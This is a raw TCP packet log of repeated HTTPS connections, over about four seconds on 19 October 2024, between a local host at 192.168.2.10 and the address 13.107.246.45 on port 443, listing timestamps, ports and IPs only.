Oct 19, 2024 00:14:08.663335085 CEST	49850	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.663357973 CEST	443	49850	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.663896084 CEST	49850	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.663902044 CEST	443	49850	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.677133083 CEST	443	49853	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.679217100 CEST	49853	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.679234028 CEST	443	49853	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.679660082 CEST	49853	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.679666042 CEST	443	49853	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.776456118 CEST	443	49835	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.776527882 CEST	443	49835	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.776627064 CEST	49835	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.776858091 CEST	49835	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.776878119 CEST	443	49835	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.776892900 CEST	49835	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.776897907 CEST	443	49835	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.780090094 CEST	49893	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.780134916 CEST	443	49893	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.780309916 CEST	49893	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.780551910 CEST	49893	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.780565977 CEST	443	49893	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.796391010 CEST	443	49850	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.796463966 CEST	443	49850	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.797180891 CEST	49850	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.797224998 CEST	49850	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.797224998 CEST	49850	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.797249079 CEST	443	49850	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.797259092 CEST	443	49850	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.801194906 CEST	49894	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.801217079 CEST	443	49894	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.801296949 CEST	49894	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.801446915 CEST	49894	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.801459074 CEST	443	49894	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.813028097 CEST	443	49853	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.813576937 CEST	443	49853	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.814044952 CEST	49853	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.814117908 CEST	49853	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.814130068 CEST	443	49853	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.814152956 CEST	49853	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.814158916 CEST	443	49853	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.817300081 CEST	49895	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.817337990 CEST	443	49895	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:08.817397118 CEST	49895	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.817658901 CEST	49895	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:08.817672014 CEST	443	49895	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.168957949 CEST	443	49891	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.169698000 CEST	49891	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.169713974 CEST	443	49891	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.170169115 CEST	49891	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.170173883 CEST	443	49891	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.301424980 CEST	443	49891	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.301450968 CEST	443	49891	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.301501036 CEST	443	49891	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.301516056 CEST	49891	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.301724911 CEST	49891	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.367645025 CEST	443	49892	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.417932034 CEST	49892	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.452507973 CEST	49891	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.452517033 CEST	443	49891	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.452554941 CEST	49891	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.452559948 CEST	443	49891	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.528578043 CEST	443	49893	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.532004118 CEST	49892	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.532021046 CEST	443	49892	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.532757998 CEST	49892	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.532764912 CEST	443	49892	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.561213017 CEST	443	49894	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.574217081 CEST	49893	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.587754965 CEST	443	49895	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.597368956 CEST	49893	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.597376108 CEST	443	49893	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.598078012 CEST	49893	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.598083973 CEST	443	49893	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.605451107 CEST	49894	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.625458002 CEST	49894	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.625468969 CEST	443	49894	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.625953913 CEST	49894	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.625969887 CEST	443	49894	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.631477118 CEST	49896	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.631509066 CEST	443	49896	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.631715059 CEST	49896	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.631889105 CEST	49896	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.631902933 CEST	443	49896	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.632761002 CEST	49895	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.632800102 CEST	443	49895	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.633507967 CEST	49895	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.633514881 CEST	443	49895	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.659564972 CEST	443	49892	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.659653902 CEST	443	49892	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.659706116 CEST	49892	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.672985077 CEST	49892	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.673012018 CEST	443	49892	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.673023939 CEST	49892	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.673029900 CEST	443	49892	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.683407068 CEST	49897	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.683446884 CEST	443	49897	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.684020042 CEST	49897	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.688292027 CEST	49897	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.688312054 CEST	443	49897	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.726473093 CEST	443	49893	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.726557016 CEST	443	49893	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.727113962 CEST	49893	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.732357025 CEST	49893	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.732379913 CEST	443	49893	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.732461929 CEST	49893	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.732469082 CEST	443	49893	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.751084089 CEST	49898	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.751123905 CEST	443	49898	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.751219988 CEST	49898	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.755739927 CEST	443	49894	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.756071091 CEST	443	49894	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.756124020 CEST	49894	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.762307882 CEST	443	49895	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.762341022 CEST	443	49895	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.762393951 CEST	443	49895	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.762396097 CEST	49895	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.762445927 CEST	49895	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.762902021 CEST	49898	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.762914896 CEST	443	49898	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.763554096 CEST	49894	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.763578892 CEST	443	49894	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.763592005 CEST	49894	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.763597965 CEST	443	49894	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.766690016 CEST	49895	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.766709089 CEST	443	49895	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.770541906 CEST	49899	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.770574093 CEST	443	49899	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.770693064 CEST	49899	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.770843029 CEST	49899	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.770849943 CEST	443	49899	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.776401043 CEST	49900	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.776441097 CEST	443	49900	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:09.776504040 CEST	49900	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.778532982 CEST	49900	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:09.778548956 CEST	443	49900	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.387648106 CEST	443	49896	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.388597965 CEST	49896	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.388608932 CEST	443	49896	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.389286041 CEST	49896	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.389293909 CEST	443	49896	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.460913897 CEST	443	49897	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.461618900 CEST	49897	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.461633921 CEST	443	49897	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.462070942 CEST	49897	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.462078094 CEST	443	49897	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.511846066 CEST	443	49898	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.512553930 CEST	49898	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.512574911 CEST	443	49898	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.513145924 CEST	49898	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.513151884 CEST	443	49898	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.524408102 CEST	443	49896	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.524491072 CEST	443	49896	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.524697065 CEST	49896	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.524738073 CEST	49896	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.524738073 CEST	49896	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.524750948 CEST	443	49896	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.524755001 CEST	443	49896	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.527585983 CEST	49901	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.527612925 CEST	443	49901	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.527738094 CEST	49901	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.527921915 CEST	49901	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.527931929 CEST	443	49901	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.530802965 CEST	443	49899	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.531207085 CEST	49899	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.531223059 CEST	443	49899	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.531673908 CEST	49899	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.531680107 CEST	443	49899	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.538566113 CEST	443	49900	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.538980961 CEST	49900	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.539017916 CEST	443	49900	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.539463997 CEST	49900	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.539478064 CEST	443	49900	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.598428965 CEST	443	49897	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.598798037 CEST	443	49897	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.598845959 CEST	443	49897	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.598923922 CEST	49897	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.598979950 CEST	49897	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.598979950 CEST	49897	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.598997116 CEST	443	49897	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.599003077 CEST	443	49897	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.602525949 CEST	49902	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.602552891 CEST	443	49902	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.602797985 CEST	49902	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.602912903 CEST	49902	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.602938890 CEST	443	49902	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.647448063 CEST	443	49898	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.647517920 CEST	443	49898	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.647712946 CEST	49898	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.647749901 CEST	49898	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.647749901 CEST	49898	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.647773027 CEST	443	49898	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.647782087 CEST	443	49898	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.650721073 CEST	49903	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.650780916 CEST	443	49903	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.651050091 CEST	49903	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.651204109 CEST	49903	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.651215076 CEST	443	49903	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.668564081 CEST	443	49899	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.668649912 CEST	443	49899	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.668706894 CEST	443	49899	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.668837070 CEST	49899	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.668987989 CEST	49899	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.668987989 CEST	49899	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.669008017 CEST	443	49899	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.669017076 CEST	443	49899	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.673319101 CEST	49904	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.673352957 CEST	443	49904	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.673418999 CEST	49904	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.673592091 CEST	49904	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.673608065 CEST	443	49904	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.676809072 CEST	443	49900	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.676878929 CEST	443	49900	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.676948071 CEST	49900	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.677164078 CEST	49900	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.677182913 CEST	443	49900	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.677189112 CEST	49900	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.677196026 CEST	443	49900	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.680201054 CEST	49905	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.680241108 CEST	443	49905	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:10.680402994 CEST	49905	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.680597067 CEST	49905	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:10.680608988 CEST	443	49905	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.256716013 CEST	443	49901	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.257421017 CEST	49901	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.257438898 CEST	443	49901	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.257797956 CEST	49901	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.257802010 CEST	443	49901	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.356801033 CEST	443	49902	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.357465029 CEST	49902	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.357477903 CEST	443	49902	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.357975960 CEST	49902	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.357983112 CEST	443	49902	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.384808064 CEST	443	49903	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.390777111 CEST	443	49901	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.390887022 CEST	443	49901	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.390929937 CEST	443	49901	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.391159058 CEST	49901	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.392091036 CEST	49903	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.392110109 CEST	443	49903	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.392554998 CEST	49903	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.392560005 CEST	443	49903	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.392858982 CEST	49901	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.392889023 CEST	443	49901	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.392949104 CEST	49901	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.392956972 CEST	443	49901	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.395744085 CEST	49906	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.395785093 CEST	443	49906	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.395926952 CEST	49906	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.396083117 CEST	49906	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.396094084 CEST	443	49906	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.418271065 CEST	443	49905	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.422429085 CEST	49905	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.422446012 CEST	443	49905	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.422959089 CEST	49905	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.422962904 CEST	443	49905	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.456568003 CEST	443	49904	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.457369089 CEST	49904	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.457386971 CEST	443	49904	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.457854033 CEST	49904	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.457860947 CEST	443	49904	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.494266987 CEST	443	49902	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.494353056 CEST	443	49902	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.494651079 CEST	49902	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.494762897 CEST	49902	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.494762897 CEST	49902	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.494801998 CEST	443	49902	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.494808912 CEST	443	49902	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.497966051 CEST	49907	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.497997999 CEST	443	49907	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.498110056 CEST	49907	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.498210907 CEST	49907	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.498224974 CEST	443	49907	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.520431042 CEST	443	49903	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.520456076 CEST	443	49903	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.520503998 CEST	443	49903	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.520513058 CEST	49903	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.520746946 CEST	49903	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.520761013 CEST	443	49903	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.520773888 CEST	49903	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.520785093 CEST	443	49903	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.520807028 CEST	49903	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.520811081 CEST	443	49903	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.523938894 CEST	49908	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.523967981 CEST	443	49908	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.524072886 CEST	49908	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.524224997 CEST	49908	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.524240971 CEST	443	49908	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.551557064 CEST	443	49905	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.551631927 CEST	443	49905	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.551973104 CEST	49905	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.552203894 CEST	49905	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.552216053 CEST	443	49905	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.552226067 CEST	49905	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.552232027 CEST	443	49905	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.555252075 CEST	49909	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.555289030 CEST	443	49909	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.555392027 CEST	49909	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.555552959 CEST	49909	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.555565119 CEST	443	49909	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.595210075 CEST	443	49904	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.597506046 CEST	443	49904	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.597572088 CEST	49904	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.597599983 CEST	49904	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.597615004 CEST	443	49904	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.597625017 CEST	49904	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.597630024 CEST	443	49904	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.600394964 CEST	49910	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.600435972 CEST	443	49910	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:11.600682974 CEST	49910	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.600682974 CEST	49910	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:11.600720882 CEST	443	49910	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.139233112 CEST	443	49906	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.157947063 CEST	49906	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.157970905 CEST	443	49906	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.158459902 CEST	49906	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.158466101 CEST	443	49906	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.226330042 CEST	443	49907	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.226946115 CEST	49907	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.226960897 CEST	443	49907	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.227566004 CEST	49907	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.227571964 CEST	443	49907	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.276587963 CEST	443	49908	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.277126074 CEST	49908	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.277138948 CEST	443	49908	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.277731895 CEST	49908	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.277736902 CEST	443	49908	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.292238951 CEST	443	49906	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.292655945 CEST	443	49906	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.292725086 CEST	49906	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.292771101 CEST	49906	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.292793036 CEST	443	49906	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.292808056 CEST	49906	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.292814970 CEST	443	49906	13.107.246.45	192.168.2.10
